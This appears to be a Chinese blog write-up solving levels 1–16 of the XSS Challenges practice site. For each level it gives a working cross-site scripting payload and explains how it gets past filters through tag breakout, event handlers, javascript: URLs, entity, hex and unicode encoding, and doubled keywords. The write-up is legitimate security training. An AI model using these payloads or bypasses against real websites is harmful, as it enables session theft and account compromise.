XSS Challenges是一个日本老哥写的xss关卡,总体来说比较有意思,锻炼下xss各种的绕过方法,练习地址:https://xss-quiz.int21h.jp/
①level 1
没有任何过滤,直接构造payload:
<script>alert(document.domain)</script>
XSS Challenges WP
 
 
②level 2
f12审查元素发现是在input标签内,对标签进行闭合即可,构造payload:
"><script>alert(document.domain)</script>
XSS Challenges WP
 
 
③level 3
这一关输出的内容是包裹在<b>标签内,并且经过fuzz,<,>,"等都被转义了,无法闭合,但是发现还有一个是选择国家的选项
XSS Challenges WP
 
 
所以用burp抓包查看具体内容,发现是有两个post参数的,思考:参数1有限制,那会不会参数2能行呢?
 
XSS Challenges WP
 
改包,将p2改成xss的payload
</b><script>alert(document.domain)</script>

XSS Challenges WP

 
成功利用
XSS Challenges WP
 
 
④level 4
这一关也是有选择国家的,继续抓包查看,发现多了个p3参数
XSS Challenges WP
 
 
那么此时能否在p3上构造payload呢?尝试一波
XSS Challenges WP
 
但是发现,p3的payload被放到input标签内了
XSS Challenges WP
 
尝试修改payload进行闭合input标签
"><script>alert(document.domain)</script>
XSS Challenges WP
 
成功利用
XSS Challenges WP
 
 
⑤level 5
这里是对输入框内容进行了长度的限制
XSS Challenges WP
 
f12修改前端内容绕过限制
"><script>alert(document.domain)</script>
XSS Challenges WP
 
成功利用
XSS Challenges WP
 
 
⑥level 6
发现<>被html实体编码了,但是"好像能用
XSS Challenges WP
 
尝试构造属性事件进行利用,初次payload:
" onmouseover=alert(document.domain),但是发现变成了下面这鬼样,输出跑出了value值,并且多了几个"
XSS Challenges WP
 
应该是onmouseover事件在这本身就有一对",然后只需要在alert前面再加一个",将整个补充完整即可,payload:
" onmouseover="alert(document.domain)
XSS Challenges WP
 
 
⑦level 7
和前一关差不多,构造payload:
" onmouseover=alert(document.domain)
XSS Challenges WP
 
 
⑧level 8
这一关是输出的内容被包裹在<a>标签里面:
XSS Challenges WP
 
 
尝试闭合<a>标签,发现被转义了
XSS Challenges WP
 
 
<a>标签内可以利用JavaScript伪协议:
javascript:alert(document.domain
XSS Challenges WP
 
 
⑨level 9
这一题是utf-7编码,需要IE环境,有点麻烦,就直接用burp改返回包先跳过
 
⑩level 10
这一关把domain字符直接给过滤掉了
XSS Challenges WP
 
直接双写domain绕过
" onmouseover="alert(document.dodomainmain)
XSS Challenges WP
 
 
⑪level 11
这关是过滤了全部on事件
XSS Challenges WP
 
script标签前面被添加上x
XSS Challenges WP
 
所以现在我们不能使用on事件,不能出现script字符,",<>这些都能用,所以可以利用<a>标签配合JavaScript伪协议,并且在html标签中是允许html实体编码执行的,构造payload:
"><a href=javascri&#x70;t:alert(document.domain)>xss</a>
XSS Challenges WP
 
 
level 12
这一关把",<,>都过滤了,尝试很久也没能过去,先跳过了
 
level 13
需要配合IE环境,跳过。。
 
level 14
同样的问题,跳过。。
 
⑮level 15
这关把<>都给实体编码了
XSS Challenges WP
 
尝试利用hex编码绕过:
初次payload:
\x3cscript\x3ealert(document.domain)\x3c/script\x3e,发现\又没了...
XSS Challenges WPXSS Challenges WP
 
 
双写 \ 绕过:
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

XSS Challenges WP

 
 
⑯level 16
\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e
unicode编码直接过了
XSS Challenges WP
 
后面的基本要在IE6环境下进行,就到此为止了...
总体来说作为练习还是不错的,写完收工...告辞

相关文章:

  • 2021-07-27
  • 2021-09-01
  • 2021-06-26
  • 2022-12-23
  • 2021-07-27
  • 2021-07-14
猜你喜欢
  • 2021-10-19
  • 2021-10-01
  • 2022-02-03
  • 2021-08-28
相关资源
相似解决方案